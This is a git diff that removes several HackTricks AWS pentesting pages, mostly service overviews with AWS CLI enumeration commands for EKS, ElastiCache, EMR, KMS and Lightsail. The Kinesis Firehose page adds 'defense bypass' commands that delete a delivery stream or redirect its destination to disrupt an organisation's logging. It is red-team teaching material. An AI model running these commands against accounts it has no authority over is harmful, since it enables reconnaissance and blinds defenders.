-{% content-ref url="../aws-post-exploitation/aws-ecs-post-exploitation.md" %}
-[aws-ecs-post-exploitation.md](../aws-post-exploitation/aws-ecs-post-exploitation.md)
-{% endcontent-ref %}
-
-### Persistence
-
-{% content-ref url="../aws-persistence/aws-ecs-persistence.md" %}
-[aws-ecs-persistence.md](../aws-persistence/aws-ecs-persistence.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md
deleted file mode 100644
index b99caa683..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md
+++ /dev/null
@@ -1,72 +0,0 @@
-# AWS - EKS Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## EKS
-
-Amazon Elastic Kubernetes Service (Amazon EKS) is designed to eliminate the need for users to install, operate, and manage their own Kubernetes control plane or nodes. Instead, Amazon EKS manages these components, providing a simplified way to deploy, manage, and scale containerized applications using Kubernetes on AWS.
-
-Key aspects of Amazon EKS include:
-
-1. **Managed Kubernetes Control Plane**: Amazon EKS automates critical tasks such as patching, node provisioning, and updates.
-2. **Integration with AWS Services**: It offers seamless integration with AWS services for compute, storage, database, and security.
-3. **Scalability and Security**: Amazon EKS is designed to be highly available and secure, providing features such as automatic scaling and isolation by design.
-4. **Compatibility with Kubernetes**: Applications running on Amazon EKS are fully compatible with applications running on any standard Kubernetes environment.
-
-#### Enumeration
-
-```bash
-aws eks list-clusters
-aws eks describe-cluster --name <cluster_name>
-# Check for endpointPublicAccess and publicAccessCidrs
-
-aws eks list-fargate-profiles --cluster-name <cluster_name>
-aws eks describe-fargate-profile --cluster-name <cluster_name> --fargate-profile-name <prof_name>
-
-aws eks list-identity-provider-configs --cluster-name <cluster_name>
-aws eks describe-identity-provider-config --cluster-name <cluster_name> --identity-provider-config <p_config>
-
-aws eks list-nodegroups --cluster-name <c_name>
-aws eks describe-nodegroup --cluster-name <c_name> --nodegroup-name <n_name>
-
-aws eks list-updates --name <name>
-aws eks describe-update --name <name> --update-id <id>
-```
-
-#### Post Exploitation
-
-{% content-ref url="../aws-post-exploitation/aws-eks-post-exploitation.md" %}
-[aws-eks-post-exploitation.md](../aws-post-exploitation/aws-eks-post-exploitation.md)
-{% endcontent-ref %}
-
-## References
-
-* [https://aws.amazon.com/eks/](https://aws.amazon.com/eks/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/pentesting-cloud/aws-security/aws-services/aws-elasticache.md
deleted file mode 100644
index 8839a6598..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-elasticache.md
+++ /dev/null
@@ -1,71 +0,0 @@
-# AWS - ElastiCache
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## ElastiCache
-
-AWS ElastiCache is a fully **managed in-memory data store and cache service** that provides high-performance, low-latency, and scalable solutions for applications. It supports two popular open-source in-memory engines: **Redis and Memcached**. ElastiCache **simplifies** the **setup**, **management**, and **maintenance** of these engines, allowing developers to offload time-consuming tasks such as provisioning, patching, monitoring, and **backups**.
-
-### Enumeration
-
-```bash
-# ElastiCache clusters
-## Check the SecurityGroups to later check who can access
-## In Redis clusters: Check AuthTokenEnabled to see if you need password
-## In memcache clusters: You can find the URL to connect
-aws elasticache describe-cache-clusters
-
-# List all ElastiCache replication groups
-## Find here the accesible URLs for Redis clusters
-aws elasticache describe-replication-groups
-
-#List all ElastiCache parameter groups
-aws elasticache describe-cache-parameter-groups
-
-#List all ElastiCache security groups
-## If this gives an error it's because it's using SGs from EC2
-aws elasticache describe-cache-security-groups
-
-#List all ElastiCache subnet groups
-aws elasticache describe-cache-subnet-groups
-
-# Get snapshots
-aws elasticache describe-snapshots
-
-# Get users and groups
-aws elasticache describe-user-groups
-aws elasticache describe-users
-
-# List ElastiCache events
-aws elasticache describe-events
-```
-
-### Privesc (TODO)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md
deleted file mode 100644
index be430d055..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md
+++ /dev/null
@@ -1,86 +0,0 @@
-# AWS - EMR Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## EMR
-
-AWS's Elastic MapReduce (EMR) service, starting from version 4.8.0, introduced a **security configuration** feature that enhances data protection by allowing users to specify encryption settings for data at rest and in transit within EMR clusters, which are scalable groups of EC2 instances designed to process big data frameworks like Apache Hadoop and Spark.
-
-Key characteristics include:
-
-* **Cluster Encryption Default**: By default, data at rest within a cluster is not encrypted. However, enabling encryption provides access to several features:
-  * **Linux Unified Key Setup**: Encrypts EBS cluster volumes. Users can opt for AWS Key Management Service (KMS) or a custom key provider.
-  * **Open-Source HDFS Encryption**: Offers two encryption options for Hadoop:
-    * Secure Hadoop RPC (Remote Procedure Call), set to privacy, leveraging the Simple Authentication Security Layer.
-    * HDFS Block transfer encryption, set to true, utilizes the AES-256 algorithm.
-* **Encryption in Transit**: Focuses on securing data during transfer. Options include:
-  * **Open Source Transport Layer Security (TLS)**: Encryption can be enabled by choosing a certificate provider:
-    * **PEM**: Requires manual creation and bundling of PEM certificates into a zip file, referenced from an S3 bucket.
-    * **Custom**: Involves adding a custom Java class as a certificate provider that supplies encryption artifacts.
-
-Once a TLS certificate provider is integrated into the security configuration, the following application-specific encryption features can be activated, varying based on the EMR version:
-
-* **Hadoop**:
-  * Might reduce encrypted shuffle using TLS.
-  * Secure Hadoop RPC with Simple Authentication Security Layer and HDFS Block Transfer with AES-256 are activated with at-rest encryption.
-* **Presto** (EMR version 5.6.0+):
-  * Internal communication between Presto nodes is secured using SSL and TLS.
-* **Tez Shuffle Handler**:
-  * Utilizes TLS for encryption.
-* **Spark**:
-  * Employs TLS for the Akka protocol.
-  * Uses Simple Authentication Security Layer and 3DES for Block Transfer Service.
-  * External shuffle service is secured with the Simple Authentication Security Layer.
-
-These features collectively enhance the security posture of EMR clusters, especially concerning data protection during storage and transmission phases.
-
-#### Enumeration
-
-```bash
-aws emr list-clusters
-aws emr describe-cluster --cluster-id <id>
-aws emr list-instances --cluster-id <id>
-aws emr list-instance-fleets --cluster-id <id>
-aws emr list-steps --cluster-id <id>
-aws emr list-notebook-executions
-aws emr list-security-configurations
-aws emr list-studios #Get studio URLs
-```
-
-#### Privesc
-
-{% content-ref url="../aws-privilege-escalation/aws-emr-privesc.md" %}
-[aws-emr-privesc.md](../aws-privilege-escalation/aws-emr-privesc.md)
-{% endcontent-ref %}
-
-## References
-
-* [https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/](https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md
deleted file mode 100644
index 34909d625..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md
+++ /dev/null
@@ -1,77 +0,0 @@
-# AWS - Kinesis Data Firehose Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Kinesis Data Firehose
-
-Amazon Kinesis Data Firehose is a **fully managed service** that facilitates the delivery of **real-time streaming data**. It supports a variety of destinations, including Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, and custom HTTP endpoints.
-
-The service alleviates the need for writing applications or managing resources by allowing data producers to be configured to forward data directly to Kinesis Data Firehose. This service is responsible for the **automatic delivery of data to the specified destination**. Additionally, Kinesis Data Firehose provides the option to **transform the data prior to its delivery**, enhancing its flexibility and applicability to various use cases.
-
-### Enumeration
-
-```bash
-# Get delivery streams
-aws firehose list-delivery-streams
-
-# Get stream info
-aws firehose describe-delivery-stream --delivery-stream-name <name>
-## Get roles
-aws firehose describe-delivery-stream --delivery-stream-name <name> | grep -i RoleARN
-```
-
-## Post-exploitation / Defense Bypass
-
-In case firehose is used to send logs or defense insights, using these functionalities an attacker could prevent it from working properly.
-
-### firehose:DeleteDeliveryStream
-
-```
-aws firehose delete-delivery-stream --delivery-stream-name <value> --allow-force-delete
-```
-
-### firehose:UpdateDestination
-
-```
-aws firehose update-destination --delivery-stream-name <value> --current-delivery-stream-version-id <value> --destination-id <value>
-```
-
-### firehose:PutRecord | firehose:PutRecordBatch
-
-```
-aws firehose put-record --delivery-stream-name my-stream --record '{"Data":"SGVsbG8gd29ybGQ="}'
-
-aws firehose put-record-batch --delivery-stream-name my-stream --records file://records.json
-```
-
-## References
-
-* [https://docs.amazonaws.cn/en\_us/firehose/latest/dev/what-is-this-service.html](https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md
deleted file mode 100644
index f1b5c3bdf..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md
+++ /dev/null
@@ -1,183 +0,0 @@
-# AWS - KMS Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## KMS - Key Management Service
-
-AWS Key Management Service (AWS KMS) is presented as a managed service, simplifying the process for users to **create and manage customer master keys** (CMKs). These CMKs are integral in the encryption of user data. A notable feature of AWS KMS is that CMKs are predominantly **secured by hardware security modules** (HSMs), enhancing the protection of the encryption keys.
-
-KMS uses **symmetric cryptography**. This is used to **encrypt information as rest** (for example, inside a S3). If you need to **encrypt information in transit** you need to use something like **TLS**.
-
-KMS is a **region specific service**.
-
-**Administrators at Amazon do not have access to your keys**. They cannot recover your keys and they do not help you with encryption of your keys. AWS simply administers the operating system and the underlying application it's up to us to administer our encryption keys and administer how those keys are used.
-
-**Customer Master Keys** (CMK): Can encrypt data up to 4KB in size. They are typically used to create, encrypt, and decrypt the DEKs (Data Encryption Keys). Then the DEKs are used to encrypt the data.
-
-A customer master key (CMK) is a logical representation of a master key in AWS KMS. In addition to the master key's identifiers and other metadata, including its creation date, description, and key state, a **CMK contains the key material which used to encrypt and decrypt data**. When you create a CMK, by default, AWS KMS generates the key material for that CMK. However, you can choose to create a CMK without key material and then import your own key material into that CMK.
-
-There are 2 types of master keys:
-
-* **AWS managed CMKs: Used by other services to encrypt data**. It's used by the service that created it in a region. They are created the first time you implement the encryption in that service. Rotates every 3 years and it's not possible to change it.
-* **Customer manager CMKs**: Flexibility, rotation, configurable access and key policy. Enable and disable keys.
-
-**Envelope Encryption** in the context of Key Management Service (KMS): Two-tier hierarchy system to **encrypt data with data key and then encrypt data key with master key**.
-
-### Key Policies
-
-These defines **who can use and access a key in KMS**.
-
-By **default:**
-
-*   It gives the **IAM of the** **AWS account that owns the KMS key access** to manage the access to the KMS key via IAM.
-
-    Unlike other AWS resource policies, a AWS **KMS key policy does not automatically give permission any of the principals of the account**. To give permission to account administrators, the **key policy must include an explicit statement** that provides this permission, like this one.
-
-    * Without allowing the account(`"AWS": "arn:aws:iam::111122223333:root"`) IAM permissions won't work.
-*   It **allows the account to use IAM policies** to allow access to the KMS key, in addition to the key policy.
-
-    **Without this permission, IAM policies that allow access to the key are ineffective**, although IAM policies that deny access to the key are still effective.
-* It **reduces the risk of the key becoming unmanageable** by giving access control permission to the account administrators, including the account root user, which cannot be deleted.
-
-**Default policy** example:
-
-```json
-{
-  "Sid": "Enable IAM policies",
-  "Effect": "Allow",
-  "Principal": {
-    "AWS": "arn:aws:iam::111122223333:root"
-   },
-  "Action": "kms:*",
-  "Resource": "*"
-}
-```
-
-{% hint style="warning" %}
-If the **account is allowed** (`"arn:aws:iam::111122223333:root"`) a **principal** from the account **will still need IAM permissions** to use the KMS key. However, if the **ARN** of a role for example is **specifically allowed** in the **Key Policy**, that role **doesn't need IAM permissions**.
-{% endhint %}
-
-<details>
-
-<summary>Policy Details</summary>
-
-Properties of a policy:
-
-* JSON based document
-* Resource --> Affected resources (can be "\*")
-* Action --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (permissions)
-* Effect --> Allow/Deny
-* Principal --> arn affected
-* Conditions (optional) --> Condition to give the permissions
-
-Grants:
-
-* Allow to delegate your permissions to another AWS principal within your AWS account. You need to create them using the AWS KMS APIs. It can be indicated the CMK identifier, the grantee principal and the required level of opoeration (Decrypt, Encrypt, GenerateDataKey...)
-* After the grant is created a GrantToken and a GratID are issued
-
-**Access**:
-
-* Via **key policy** -- If this exist, this takes **precedent** over the IAM policy
-* Via **IAM policy**
-* Via **grants**
-
-</details>
-
-### Key Administrators
-
-Key administrator by default:
-
-* Have access to manage KMS but not to encrypt or decrypt data
-* Only IAM users and roles can be added to Key Administrators list (not groups)
-* If external CMK is used, Key Administrators have the permission to import key material
-
-### Rotation of CMKs
-
-* The longer the same key is left in place, the more data is encrypted with that key, and if that key is breached, then the wider the blast area of data is at risk. In addition to this, the longer the key is active, the probability of it being breached increases.
-* **KMS rotate customer keys every 365 days** (or you can perform the process manually whenever you want) and **keys managed by AWS every 3 years** and this time it cannot be changed.
-* **Older keys are retained** to decrypt data that was encrypted prior to the rotation
-* In a break, rotating the key won't remove the threat as it will be possible to decrypt all the data encrypted with the compromised key. However, the **new data will be encrypted with the new key**.
-* If **CMK** is in state of **disabled** or **pending** **deletion**, KMS will **not perform a key rotation** until the CMK is re-enabled or deletion is cancelled.
-
-#### Manual rotation
-
-* A **new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update** any **application** to **reference** the new CMK-ID.
-* To do this process easier you can **use aliases to refer to a key-id** and then just update the key the alias is referring to.
-* You need to **keep old keys to decrypt old files** encrypted with it.
-
-You can import keys from your on-premises key infrastructure .
-
-### Other relevant KMS information
-
-KMS is priced per number of encryption/decryption requests received from all services per month.
-
-KMS has full audit and compliance **integration with CloudTrail**; this is where you can audit all changes performed on KMS.
-
-With KMS policy you can do the following:
-
-* Limit who can create data keys and which services have access to use these keys
-* Limit systems access to encrypt only, decrypt only or both
-* Define to enable systems to access keys across regions (although it is not recommended as a failure in the region hosting KMS will affect availability of systems in other regions).
-
-You cannot synchronize or move/copy keys across regions; you can only define rules to allow access across region.
-
-### Enumeration
-
-```bash
-aws kms list-keys
-aws kms list-key-policies --key-id <id>
-aws kms list-grants --key-id <id>
-aws kms describe-key --key-id <id>
-aws kms get-key-policy --key-id <id> --policy-name <name> # Default policy name is "default"
-aws kms describe-custom-key-stores
-```
-
-### Privesc
-
-{% content-ref url="../aws-privilege-escalation/aws-kms-privesc.md" %}
-[aws-kms-privesc.md](../aws-privilege-escalation/aws-kms-privesc.md)
-{% endcontent-ref %}
-
-### Post Exploitation
-
-{% content-ref url="../aws-post-exploitation/aws-kms-post-exploitation.md" %}
-[aws-kms-post-exploitation.md](../aws-post-exploitation/aws-kms-post-exploitation.md)
-{% endcontent-ref %}
-
-### Persistence
-
-{% content-ref url="../aws-persistence/aws-kms-persistence.md" %}
-[aws-kms-persistence.md](../aws-persistence/aws-kms-persistence.md)
-{% endcontent-ref %}
-
-## References
-
-* [https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html](https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md
deleted file mode 100644
index 3d2778ee1..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md
+++ /dev/null
@@ -1,85 +0,0 @@
-# AWS - Lightsail Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## AWS - Lightsail
-
-Amazon Lightsail provides an **easy**, lightweight way for new cloud users to take advantage of AWS’ cloud computing services. It allows you to deploy common and custom web services in seconds via **VMs** (**EC2**) and **containers**.\
-It's a **minimal EC2 + Route53 + ECS**.
-
-### Enumeration
-
-```bash
-# Instances
-aws lightsail get-instances #Get all
-aws lightsail get-instance-port-states --instance-name <instance_name> #Get open ports
-
-# Databases
-aws lightsail get-relational-databases
-aws lightsail get-relational-database-snapshots
-aws lightsail get-relational-database-parameters
-
-# Disk & snapshots
-aws lightsail get-instance-snapshots
-aws lightsail get-disk-snapshots
-aws lightsail get-disks
-
-# More
-aws lightsail get-load-balancers
-aws lightsail get-static-ips
-aws lightsail get-key-pairs
-```
-
-### Analyse Snapshots
-
-It's possible to generate **instance and relational database snapshots from lightsail**. Therefore you can check those the same way you can check [**EC2 snapshots**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) and [**RDS snapshots**](aws-relational-database-rds-enum.md#enumeration).
-
